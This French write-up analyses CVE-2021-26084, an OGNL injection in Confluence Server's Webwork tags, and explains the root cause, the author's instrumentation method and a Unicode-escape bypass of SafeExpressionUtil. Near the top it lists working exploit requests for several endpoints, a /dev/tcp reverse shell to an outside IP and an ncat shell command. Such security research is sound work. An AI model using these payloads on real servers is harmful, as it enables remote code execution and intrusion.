
CVE-2021-26084 - Confluence Server Webwork OGNL injection
Ce write-up donne un aperçu de CVE-2021-26084 - injection OGNL Webwork dans Confluence Server [1] qui permettrait à un utilisateur authentifié d'exécuter du code arbitraire sur une instance Confluence Server ou Data Center.
Confluence Server / Data Center utilise le framework MVC Webwork 2 pour traiter les requêtes web et la couche de vue est principalement constituée de templates Velocity. Une double évaluation est effectuée lorsque les templates Velocity utilisent des tags Webwork avec un attribut value contenant $. Lorsqu'un tag Webwork avec un attribut Value contenant un $ est rencontré, une première évaluation se produit lors de l'analyse du template Velocity ; cette valeur évaluée est ensuite transmise au tag Webwork qui évalue à son tour la valeur comme une expression OGNL. Si la classe d'action expose une fonction setter pour le paramètre utilisé dans l'attribut value, alors ce paramètre peut être défini depuis l'URL en utilisant les paramètres URL.. Ainsi, en concevant une URL avec une charge utile OGNL, un attaquant peut exécuter du code à distance sur les versions affectées de Confluence Server / Data Center.
# UnAuthenticated RCE - based on the awesome write-up at httpvoid; courtesy of Harsh Jaiswal(rootxharsh), Rahul Maini (iamnoooob) [8]
curl -i -s -k -X $'POST' -H $'Host: 127.0.0.1:8090' -H $'Accept-Encoding: gzip, deflate' -H $'Accept: */*' -H $'Accept-Language: en' -H $'User-Agent: Mozilla/5.0' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Content-Length: 186' --data-binary $'linkCreation=a%5Cu0027%2B%23attr%5B%5Cu0022webwork.valueStack%5Cu0022%5D.findValue%28%5Cu0022%40java.lang.Runtime%40getRuntime%28%29.exec%28%5Cu0027xcalc%5Cu0027%29%5Cu0022%29%2B%5Cu0027' $'http://localhost:8090/pages/doenterpagevariables.action'
# UnAuthenticated RCE for Confluence < 7.12.14, Only if allow people to sign up to create their account' is enabled. COG > User Management > User Signup Options.
http://localhost:8090/signup.action?token=%5Cu0027%2B%28%23attr%5B%5Cu0022webwork.valueStack%5Cu0022%5D%29.%28findValue%28%5Cu0022%40java.lang.Runtime%40getRuntime%28%29.exec%28%5Cu00
5C%5Cu0022xcalc%5Cu005C%5Cu0022%29%5Cu0022%29%29%2B%5Cu0027
# Authenticated RCE for Confluence < 7.12.14, a valid user account is required on the Confluence Server
http://localhost:8090/users/darkfeatures.action?featureKey=%5Cu0027%2B%28%23attr%5B%5Cu0022webwork.valueStack%5Cu0022%5D%29.%28findValue%28%5Cu0022%40java.lang.Runtime%40getRuntime%28
%29.exec%28%5Cu005C%5Cu0022xcalc%5Cu005C%5Cu0022%29%5Cu0022%29%29%2B%5Cu0027
# Authenticated RCE for for Confluence 7.12.14, the newSpaceKey parm is to be updated with the Space key of a space the user has Add Pages Permission
http://localhos:8090/pages/docreatepagefromtemplate.action?newSpaceKey=SAN&sourceTemplateId=uu%5Cu0027%2B%28%23attr%5B%5Cu0022webwork.valueStack%5Cu0022%5D%29.%28findValue%28%5Cu0022%
40java.lang.Runtime%40getRuntime%28%29.exec%28%5Cu005C%5Cu0022xcalc%5Cu005C%5Cu0022%29%5Cu0022%29%29%2B%5Cu0027
# The payload below spawns a reverse shell to a remote host running a netcat listener.BurpSuite addon Hackvertor tags has been used for readability and has to be converted accordingly
http://localhos:8090/pages/docreatepagefromtemplate.action?sourceTemplateId=oa<@urlencode_not_plus>\u0027+(#attr[\u0022webwork.valueStack\u0022]).(findValue(\u0022(#cmd=new
java.lang.String[]{\u0027/bin/bash\u0027,\u0027-c\u0027,\u0027<@unicode_escapes>exec 5<>/dev/tcp/35.224.37.217/8021;cat <&5 | while read line; do $line 2>&5 >&5;
done<@/unicode_escapes>\u0027}).(@java.lang.Runtime@getRuntime().exec(#cmd))\u0022))+\u0027<@/urlencode_not_plus>
Les vulnérabilités d'injection par langage d'expression apparaissent lorsqu'une application incorpore des données contrôlables par l'utilisateur dans une chaîne qui est évaluée dynamiquement par un interpréteur de code. Si les données utilisateur ne sont pas strictement validées, un attaquant peut utiliser une entrée spécialement conçue pour modifier le code à exécuter et injecter du code arbitraire qui sera exécuté par le serveur [2]. L'Object-Graph Navigation Language (OGNL) [3] est un langage d'expression pour manipuler les objets Java. Lorsqu'une vulnérabilité d'injection OGNL est présente, il est possible pour l'attaquant d'injecter des expressions OGNL qui peuvent ensuite être utilisées pour exécuter du code Java arbitraire. En plus de la lecture/écriture de propriétés, OGNL prend en charge de nombreuses autres fonctionnalités, dont celles-ci semblent intéressantes du point de vue du développement d'exploits :
Appel de méthode statique : @java.lang.Runtime@getRuntime()
Appel de constructeur : new java.lang.String[]{'/bin/bash','-c', 'xcalc'}
Capacité à travailler avec des variables de contexte : #attr["webwork.valueStack"]
Appel de méthode : #attr["webwork.valueStack"].findValue()
En combinant les éléments ci-dessus, une expression OGNL valide peut être formée. Une expression OGNL typique est présentée ci-dessous :
@java.lang.Runtime@getRuntime().exec('ncat 203.0.113.5 8021 -e /bin/bash')
WebWork 2 est un framework MVC de type pull, construit sur une API de framework de commandes appelée XWork et est le prédécesseur du populaire Apache Struts2. Confluence utilise WebWork 2 d'OpenSymphony pour traiter les requêtes web soumises par les utilisateurs. Webwork prend en charge un puissant langage d'expression basé sur OGNL pour naviguer dans sa pile d'objets (également appelée ValueStack). Il prend également en charge plusieurs technologies de vue, notamment JSP, FreeMarker, Velocity et fournit également une riche bibliothèque de tags. « WebWork : Strutting the OpenSymphony way » par Mike Cannon-Brookes [4] fournit une excellente vue d'ensemble du framework Webwork 2. Parmi les éléments particulièrement intéressants pour cette vulnérabilité, on peut citer le support de Webwork pour :
La détection de la vulnérabilité a principalement impliqué une approche de test en boîte blanche où l'instrumentation du code source a été utilisée pour analyser l'évaluation OGNL. Suite à l'excellente recherche du chercheur GHSL Man Yue Mo sur l'injection OGNL dans Apache Struts [5] [6] [7], il a été remarqué que la méthode evaluateParams de la classe UIBean constituait un candidat intéressant. La base de code de la bibliothèque webwork dans Confluence Data Center (atlassian-confluence-x.y.z/confluence/WEB-INF/lib/webwork-2.1.5-atlassian-3.jar) a été extraite à l'aide de JD GUI et analysée pour rechercher des méthodes similaires à evaluateParams. La correspondance la plus proche était la méthode protected void evaluateParams(OgnlValueStack stack) dans com.opensymphony.webwork.views.jsp.ui.AbstractUITag. L'analyse du code source a en outre révélé qu'il existe une classe com.opensymphony.webwork.util.SafeExpressionUtil qui bloquait la majorité des charges utiles OGNL.
Comme l'auteur n'avait guère d'expertise pour exécuter le Confluence Server via un débogueur, des instructions d'impression primitives ont été utilisées pour vider les résultats de l'évaluation OGNL dans les classes ci-dessus. Les étapes de l'instrumentation du code source étaient les suivantes :
String DL = "\n" + (new Exception().getStackTrace()[0]).getClassName() + "::" + (new Exception().getStackTrace()[0]).getMethodName() + ":";
Object o = findValue(this.valueAttr, valueClazz);
addParameter("nameValue", o);
System.out.println("\033[1;33m" + DL + (new Exception().getStackTrace()[0]).getLineNumber() + "\t findValue( " + this.valueAttr + " ) = " + o + "\033[0m");
# use javap on the classes inside webwork jar to identify the source and target versions
javac -target 1.6 -source 1.6 -classpath "/opt/atlassian-confluence-7.12.4/lib/*:/opt/atlassian-confluence-7.12.4/confluence/WEB-INF/lib/*" -d . *.java
jar vuf webwork-2.1.5-atlassian-3.jar com
Avec la bibliothèque webwork instrumentée en place, il a été observé que l'attribut value des tags webwork est un point d'injection potentiel car le rendu aboutissait à la méthode evaluateParams et l'attribut value était évalué comme OGNL. Il a également été observé que si le template Velocity contenait un tag webwork dont l'attribut value est défini à l'aide de la construction $, alors cette valeur était évaluée lors du rendu du template Velocity et cette valeur évaluée était transmise au tag Webwork. Un exemple typique d'un tel tag est :
#tag ("Hidden" "id=sourceTemplateId" "name='sourceTemplateId'" "value='${templateId}'")
#tag( "Hidden" "name='token'" "value='$!action.token'" )
#tag( "Component" "label='Enable dark feature:'" "name='featureKey'" "value='$!action.featureKey'" "theme='aui'" "template='text.vm'")
Bien que l'attribut value traitait l'entrée comme OGNL, il y avait des guillemets simples autour de la construction $, ce qui faisait que l'entrée était traitée comme une chaîne. Pour contourner cette restriction, la séquence d'échappement Unicode a été utilisée, car passer les guillemets simples directement entraînait leur conversion en entités HTML avant d'atteindre le point d'exécution OGNL. La séquence d'échappement Unicode est analysée dans OgnlUtil.compile et un ognl.ASTAdd est formé, ce qui provoque l'évaluation de la charge utile OGNL injectée.
parsedExpression = OgnlUtil.compile( '\u0027+(7*7)+\u0027' ) = "" + (7 * 7) + ""
com.opensymphony.webwork.views.jsp.ui.AbstractUITag::evaluateParams --> findValue( '\u0027+(7*7)+\u0027' ) = 49

La base de code de Confluence a été recherchée pour des fichiers Velocity correspondant à un motif regex qui avaient un tag webwork et un $ dans son attribut. Une fois le fichier Velocity identifié, la classe d'action correspondante qui utilisait le template Velocity a été identifiée en parcourant le fichier de configuration xwork, à savoir xwork.xml (dans confluence-x.y.z.jar). Le processus ressemble approximativement à :
Le fichier content-editor.vm (atlassian-confluence-7.12.4/confluence/template/custom) contenait le tag Webwork suivant :
#if ($templateApplied)
#tag ("Hidden" "id=sourceTemplateId" "name='sourceTemplateId'" "value='${templateId}'")
#end
L'attribut value, templateId, peut être défini en passant un paramètre URL sourceTemplateId au point de terminaison docreatepagefromtemplate.action. Lorsqu'un paramètre URL nommé sourceTemplateId est appelé, la fonction setter de la classe d'action (com.atlassian.confluence.pages.actions.CreatePageFromTemplateAction), à savoir setSourceTemplateId, est invoquée par le framework et définit la valeur de la variable membre sourceTemplateId.

Lorsque le template Velocity est analysé, ${templateId} est d'abord évalué en appelant la fonction getTemplateId de la classe d'action qui renvoie la valeur de la variable membre sourceTemplateId.

Cette valeur évaluée est ensuite transmise à l'attribut value du tag Webwork, qui évalue alors l'attribut value comme une expression OGNL. Enfin, en utilisant la séquence d'échappement Unicode et en exploitant la variable #attr["webwork.valueStack"], il est possible de contourner le bac à sable SafeExpressionUtil utilisé par les tags WebWork et d'exécuter du code Java arbitraire.
